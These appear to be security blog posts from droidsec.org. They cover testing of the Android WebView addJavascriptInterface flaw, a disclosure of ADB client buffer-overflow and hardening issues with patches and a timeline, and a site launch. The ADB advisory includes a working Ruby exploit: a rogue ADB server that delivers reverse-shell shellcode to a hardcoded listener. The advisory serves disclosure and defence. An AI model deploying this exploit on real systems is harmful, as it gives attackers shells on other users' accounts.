Starting in early February, the Metasploit engineers took jduck’s work and started looking to integrate it into their penetration testing framework. Some of their efforts are documented in the pull request initiated to merge it. As seen in description of the pull request, Rapid7’s Joe Vennix discovered that after minor modifications jduck’s exploit module was able to remotely execute arbitrary code on older versions of the stock Android Browser app. This was news to us, as it hadn’t previously been reported publicly by anyone (including Google!).

Further testing by Tim Wright showed that the exploit also works on the current version of Google Glass (XE12 as of this writing). Even worse, an exploited Google Glass browser yields camera permissions. That’s right. This exploit allows an attacker to see whatever someone who is wearing Google Glass sees. On top of that, several publicly available exploits are capable of gaining root privileges on a Google Glass device. These facts combined should cause quite a concern for early adopters of this exorbitantly priced gadget.

Following these events, another media blitz ensued with many articles claiming that 70% of Android devices are vulnerable to this particular exploit. A lengthy discussion on a post to the /r/Android sub-reddit had us defending our research against vehement opponents. Truth be told, the 70% number came from an assumption that all devices prior to Android 4.2 were affected. We had tested against only a handful of devices at that point and thus decided to do some more thorough testing against the stock browser of various devices.

First, jduck set out to create a simple and safe test page that would detect whether or not the WebView in which it was loaded was vulnerable. The Rapid7/Metasploit team assisted in organizing some crowd-sourced testing on Twitter while he tested against the droidsec droid army. Each of jduck’s devices run stock firmware (in most cases the latest available), so the tests are a decent sampling of the over all device pool. Further, Joe Vennix ran some tests against one of the public testing services to see how their devices fared. The results of this round of testing were quite interesting and several new facts were uncovered.

Key Findings

Through our testing, we have discovered several important facts worth discussing. The key findings are:

Early testing with ad-supported apps revealed that even current and fully up-to-date devices can be successfully exploited in specific circumstances. Applications that (1) insecurely use addJavascriptInterface to render untrusted content and (2) are compiled against an API level less than 17 remain vulnerable. The popular apps tested are only two such apps; it’s likely that many many more exist. This issue was assigned CVE-2012-6636.
More recent testing revealed that certain versions of stock browsers, including AOSP, are also vulnerable. This issue is due to insecure use of addJavascriptInterface involving the searchBoxJavaBridge_ object. Digging in deeper we discovered exactly when the vulnerable object was introduced (9497c5f in Android 4.0) and removed (d773ca8 and 0e9292b in Android 4.2) within AOSP code. It was assigned CVE-2014-1939 per our request.
Some devices using versions of Android within the affected range (4.0 < x < 4.2) were not vulnerable. This indicates that OEMs/carriers back-ported the patch to their firmware somewhere along the way. It’s possible (maybe even likely) that Google notified these partners of the issue to spur movement without notifying the general public. Determining the entirety of vulnerable device + firmware combinations remains an open problem (and one that we are actively seeking to address).
An additional insecurely exposed object was found within certain HTC device firmware versions. In particular, testing against the One V and One X+ on Android 4.0.3 and 4.1.1 showed that an object called HTMLOUT was exposed. Interestingly, this is the exact name of an object that was discussed in a blog by Aleksander Kmetec in 2009. (NOTE: A quick search while writing this post turned up this advisory on WooYun. We don’t believe a CVE has been assigned yet.)
Certain versions of third-party browsers are also vulnerable. In particular, certain versions of the Dolphin Browser tested vulnerable. Unfortunately, the exact version and list of exposed objects are not available.

Despite the fact that these issues have existed for years, several of these findings have only come to light in the last month. These issues are important and need more attention. The next section provides some suggestions about what various parties in the Android ecosystem can do to help.

Suggestions

These issues have not been holistically addressed. Thankfully, there are a number of things that various groups within the Android ecosystem can do to improve the situation. Without intervention or assistance from Android vendors, we are largely left to our own device to protect ourselves and our users.

That leads to the first, and most important, recommendation for everyone in the ecosystem. Communication is key. We as a community need to spread the word about what brings these issues about, how to avoid them, how to locate and fix instances of them, and so on. Please do your part to help make the Android ecosystem a more secure place.

Google - You took a positive step when you made that security enhancement in Android 4.2. However, the original “fix” and messaging surrounding it leave much to be desired.

On the messaging side, that post represents a missed opportunity to convey the seriousness of the matter. You could have strongly recommended targeting apps that depend on addJavascriptInterface to the latest API level. You could have reiterated the peril of improperly using this API. Unfortunately, you opted to only casually explain the change as an enhancement.

On the “fix” side, a more aggressive approach would be far more effective. Had you taken such an approach, you might not be reading this post. Because of the approach you chose, developers can still build, and are still building, vulnerable apps today. These apps can even be exploited on the most up-to-date devices. These are serious vulnerabilities and they should be given the respect and urgency that they deserve. We plead with you to take more aggressive actions to remedy this blight.

OEMs and Carriers - Some of you have done a good thing by back-porting the fix to older firmwares. That’s great for the devices that did get updated, but that leaves users of older devices exposed. We dream of a day when you don’t leave anyone behind. The time from a security fix to it being on users’ devices really should be on the order of days, not months or weeks. We implore you to find ways to continue to improve this process.

App Developers - If you’re currently distributing a vulnerable app/SDK, please take immediate steps to correct the issue and get an update deployed. If possible, avoid using addJavascriptInterface at all. If you must use it, target your app/SDK to API level 17 or higher. If you’re making an SDK, consider forcing your users to use API level 17 or higher. If you must have a synchronous connection to Java-land, consider using shouldAllowURLOverriding to override onJsAlert or onJsPrompt. App developers need to go the extra mile to be sure they are not including advertising SDKs that put users at risk. Finally, use the best practices (HTTPS and certificate pinning) to help keep your WebView content trustworthy in the face of MitM attacks.

Researchers - Join us in doing additional research, testing, and reporting so that we can eliminate these dangerous issues. Help discover exactly which devices and/or apps that are out there are vulnerable. Seek out additional unsafe uses of addJavascriptInterface and report your findings. It’s my understanding that finding such a thing will win you a shiny CVE. The list in the addjsif MSF module might even be a good starting place. Work with vulnerable device/app vendors to get the issues fixed. Start dialogues with your customers in the mobile space to raise awareness. Finally, you can help protect users by creating third-party solutions!

Users - The security and privacy of your device is ultimately in your hands. Keep your eyes and ears open for information about vulnerable apps. Don’t connect to potentially malicious Wi-Fi access points. Remove vulnerable apps from your device until they can be updated. Give 1-star ratings to vulnerable apps. As a precaution, play ad-supported games in airplane mode. Pay for your apps so that advertising network code is never activated.

Future Work / Open Questions

While putting together this research we have identified a number of gaps and outstanding questions. We have additional details that we plan to publish in the coming days and weeks. Ideas for future work include:

More testing - Our test results are fairly limited. We’d like to solicit more high quality test results from the community at large. We’re thinking of the best way to enable this testing, but for now following the directions on the test page would help.
More devices - Our test bed is fairly small. We’d love to add more devices, and have added a plea for devices to our donation page.
More statistics - Extracting statistics from app markets is very resource intensive. Determining which apps use addJavascriptInterface insecurely requires looking at each app individually, possibly even multiple versions of each.
More research - Our tests looking into whether or not compiling a library for Android apps causes apps that use that library to be vulnerable were inconclusive. Do they build against a particular API level? Can they use a different API level than the app they are included in? These are questions we’d like to answer.

There’s more than enough for us to do. We would love your help!

Conclusion

This post documents some history and our latest findings in our ongoing research of the WebView addJavascriptInterface vulnerability saga. Though these issues have received a great deal of attention in the press, most users remain vulnerable. The latest articles focus on the new discoveries that some stock browsers are vulnerable. However, they fail to explain the full risk. Once an attacker gains access, a variety of publicly available exploits allow them to fully compromise the device. Most importantly, application developers often still expose users’ devices by insecurely using addJavascriptInterface. These issues can be exploited, even on a fully updated and current device (such as a Nexus 5 - tested today with Fruit Ninja).

The perilous situation of more than 51% of the Android device pool running woefully outdated software remains. As mentioned previously, many of the tested devices are fully updated to their latest stock firmware. In our testing of 44 devices, 13 were running browsers in the vulnerable version range. Of those, 6 had a vulnerable stock browser. Extrapolating these numbers out accurately is impossible without the exact numbers of each device/firmware combination, but a fair estimation is something like 25 percent (46% of 51%). This is much less than the 70% quoted in many articles, but also doesn’t take into account the other issues surrounding this method (which are much larger issues).

In closing, there is much to do before this saga will end. We’ve provided some recommendations for various parties in the ecosystem and hope that they will not fall on deaf ears. That said, we’re not naive. We recognize that there are many challenges on the road ahead of us. Through our initiatives we hope to overcome these issues and usher Android security into a new era.

Be safe out there!

Two Security Issues Found in the Android SDK Tools

2014-02-04T13:00:00+00:00

During an audit of the Android ADB source code, two security issues within the Android SDK Platform Tools were discoverd. When combined together, these issues can allow an unprivileged local user to gain access to the account of someone that uses the ADB tool.

Background

Android Debug Bridge (ADB) is an official development tool provided by Google. It is perhaps the most instrumental tool since it facilitates communication between a host computer (the development machine) and an Android device. The architecture of ADB is broken into three components.

The ADB Daemon runs on an Android device. Whether or not it runs is controlled by the “USB Debugging” setting inside an Android device’s settings menu. As the name of the setting suggests, it enables communicating with the device over USB, but also supports using a TCP port for communications.
The ADB Server runs on the development machine. This component is mostly transparent to the user and is only visible when first running the “adb” command or when using the “start-server” and “kill-server” commands. Among other things, it implements port forwarding and maintaining a persistent connection to devices connected to the host computer.
The ADB Client runs on the development machine too. It is the “adb” command that is used by a developer (or within various developer tools) to access an Android device. When using various options within the client, communications go through the ADB Server and to the ADB Daemon. Still, some commands like “adb devices” operate entirely within the host computer (between the Client and Server only).

The communications channels can be summarized in the following ASCII diagram:

[ADB Client] <-[localhost tcp]-> [ADB Server] <-[usb

tcp]-> [ADB Daemon]

Though default versions of Android >= 4.2.2 require authentication between the ADB Server and ADB Daemon, no authentication is required between the Client and Server. Since the Server listens on a TCP port, other users on a multi-user system can use the server to communicate with connected devices. Many developers commonly run the ADB Server with root privileges and ADB Client as a normal user. When used on a multi-user system, these design decisions leave much to be desired.

Findings

Two issues were discovered during the audit: a stack buffer overflow and a failure to opt into security hardening features present in modern compilers.

Issue #1 - ADB Client Stack Buffer Overflow

The first issue is an integer related issue in the ADB Client code. The relevant source code appears below. Note that this source code is from system/core/adb/adb_client.c from the android-4.4_r1.1 tag.

219 int adb_connect(const char *service)
220 {
221     // first query the adb server's version
222     int fd = _adb_connect("host:version");
...
243         char buf[100];
244         int n;
245         int version = ADB_SERVER_VERSION - 1;
246
247         // if we have a file descriptor, then parse version result
248         if(fd >= 0) {
249             if(readx(fd, buf, 4)) goto error;
250
251             buf[4] = 0;
252             n = strtoul(buf, 0, 16);
253             if(n > (int)sizeof(buf)) goto error;
254             if(readx(fd, buf, n)) goto error;

On line 222, the ADB Client connects to the ADB Server. If it fails to connect, it will automatically launch a fresh ADB Server. When the connection succeeds, execution resumes on line 243.

The developer declares a stack buffer “buf” one hundred bytes in size on line 243 and the signed integer “n” on line 244. These two variables are the most important involved in this issue. On line 249, four bytes are read into the buffer. The ADB protocol specifies that these four bytes represent a 4-character long hex-ASCII number. Thus, the ADB Client extracts the value in hexadecimal on line 252.

The issue is twofold. First, the integer “n” is signed. Second, the “strtoul” function allows specifying whether or not the number is negative, despite the “ul” (meaning unsigned long) in its name. If an attacker runs a malicious server that replies with a length like “-b0f”, the resulting value of “n” will be -2831. Since “n” is signed, and the developer casted the “sizeof” operator to a signed integer on line 253, the comparison there succeeds and execution proceeds to line 254. There, the “read” system call is called with the “buf” as the destination and -2831 as the number of bytes to read. This operation results in a vanilla stack buffer overflow. A tested patch for this issue is included.

Interestingly, other places in the code that use this construct properly use an “unsigned” type and do not cast the “sizeof” operator. For example, see the “adb_query” and “adb_status” functions.

Issue #2 - Lack of hardening when compiling for a host

When investigating whether or not this particular issue was exploitable, it was determined that the “adb” binary supplied by Google does not contain two crucial modern protection mechanisms. Those are: non-executable stack protection and binary base randomization (PIE). Since these two protections are absent, exploiting this issue is trivial. A patch that adds these protections when compiling host binaries is included, though its is not well tested.

It should also be noted that host compilation also seems to intentionally opt out of the FORTIFY_SOURCE protections. It’s not clear why this is the case since the comment near this line of code references an internal only bug number.

Affected Versions

The discovery was made while reviewing ADB from the android-4.4_r1.1 AOSP tag. Exploitation was confirmed possible using version 18.0.1 of the SDK platform-tools on x86_64 Ubuntu Linux 12.04. Issues #1 and #2 are believed to be present in all current and previous versions.

Exploit Scenario

On a multi-user system, an attacker can start a malicious ADB Server and wait for other users to run the “adb” command. If an existing ADB Server is listening, an attacker will not be able to carry out this attack. Issue #1 happens very early during protocol negotiations so just about any command that communicates with the ADB Server will lead to successful exploitation.

Exploitability

Issue #1 does not appear to be exploitable on platforms other than Linux x86_64. On this platform, passing a large length argument to the “read” function succeeds. On others, including Linux x86, it leads to an error and no data is read into the specified buffer. It should be noted that Windows was not tested. The “adb” binary present on a Nexus 4 was tested and found not to be exploitable.

The following exploit leverages both issues:

#!/usr/bin/env ruby
# -*- coding: binary -*-

require 'socket'
require 'uri'

puts "[*] Exploit for ADB client stack buffer overflow -jduck"

# linux/x86/shell_reverse_tcp - 90 bytes
# http://www.metasploit.com
# VERBOSE=false, LHOST=192.168.0.2, LPORT=2121,
# ReverseConnectRetries=5, ReverseAllowProxy=false,
# PrependFork=true, PrependSetresuid=false,
# PrependSetreuid=false, PrependSetuid=false,
# PrependSetresgid=false, PrependSetregid=false,
# PrependSetgid=false, PrependChrootBreak=false,
# AppendExit=true, InitialAutoRunScript=, AutoRunScript=
payload =
  "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd" +
  "\x80\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66" +
  "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\xc0\xa8" +
  "\x00\x02\x68\x02\x00\x08\x49\x89\xe1\xb0\x66\x50\x51\x53" +
  "\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f" +
  "\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80\x31" +
  "\xdb\x6a\x01\x58\xcd\x80"

def read_request(cli)
  len = cli.recv(4)
  len = len.to_i(16)
  puts "[*] request length: #{len}"

  buf = cli.recv(len)
  puts "[*] request: #{buf.inspect}"
  buf
end

srv = TCPServer.new 5037
loop {
  puts "[*] Waiting for client..."
  cli = srv.accept
  puts "[*] Accepted client"
	
  req = read_request(cli)
  if req != "host:version"
    puts "[-] incorrect request!"
    next
  end

  res = "OKAY"
  res << "-fff"
  res << ("A" * 112) # padding

  # popped registers
  res << [
    0xc0c00004, # ebx
    0xc0c00008, # esi
    0xc0c0000c, # edi
    0xc0c00010, # ebp
    #0x0810efd3, # eip - int 3 / ret
    0x812a14b, # eip - jmp esp
  ].pack('V*')

  res << payload

  puts "[*] Sending response (0x%x bytes)" % res.length
  cli.write(res)
  cli.close
}
srv.close

Remediation

Upon discovery, patches for both issues were developed and submitted to the Android Security Team. Although Google has not released a new version of the Android SDK Platform Tools as of the time of this publication, they have accepted and applied both patches. The next SDK release will most likely include these fixes. In the meantime, apply the following patches and rebuild your ADB client binary.

The patch for issue #1 was committed to Google’s internal Android tree as part of an embargo scheduled for Februrary 1st, 2014. That date has since elapsed and Google has made no effort to coordinate by acknowledging our proposed date or proposing a different date. The patch for issue #1 is as follows:

diff --git a/adb/adb_client.c b/adb/adb_client.c
index 8340738..ef0077b 100644
--- a/adb/adb_client.c
+++ b/adb/adb_client.c
@@ -241,7 +241,7 @@ int adb_connect(const char *service)
     } else {
         // if server was running, check its version to make sure it is not out of date
         char buf[100];
-        int n;
+        unsigned n;
         int version = ADB_SERVER_VERSION - 1;
 
         // if we have a file descriptor, then parse version result
@@ -250,7 +250,7 @@ int adb_connect(const char *service)
 
             buf[4] = 0;
             n = strtoul(buf, 0, 16);
-            if(n > (int)sizeof(buf)) goto error;
+            if(n > sizeof(buf)) goto error;
             if(readx(fd, buf, n)) goto error;
             adb_close(fd);

The patch submitted for issue #2 required being split in two and underwent several revisions before being accepted. One patch enables non-executable stack. The other enables position independent execution (PIE) for binary base randomization. Once accepted, the patches were merged into the aosp/master branch of the Android Open Source Project repository. More information, including links to Google’s Gerrit code review system and the commits/patches themselves, follow:

Credits

Joshua J. Drake of droidsec.org discovered and provided patches for these issues.

Timeline

2013-12-02 - Issue #1 discovered
2013-12-05 - Issue #2 discovered
2013-12-08 - Patches and advisory created and submitted to the Android Security Team
2014-01-24 - Tweet announcing upcoming disclosure
2014-01-24 - Follow up sent, no human response
2014-02-04 - Public disclosure </ul> </p>

Launching the Web Site

2014-02-03T13:00:00+00:00

In May 2012, after engaging in a long-term consulting project regarding Android, I realized a need to build a community in order to advance the security of the Android mobile platform. To begin the process, I joined an IRC channel and invited likeminded people to join. Today, over sixty people participate in the channel.

Launching this web site, and the accompanying Wiki, signifies the next step in the evolution of the group. We hope that by organizing ourselves and making regular contributions we can make the Android platform more secure while still remaining open. We have several projects in the works and we hope to showcase them here when the time is right. Stay tuned!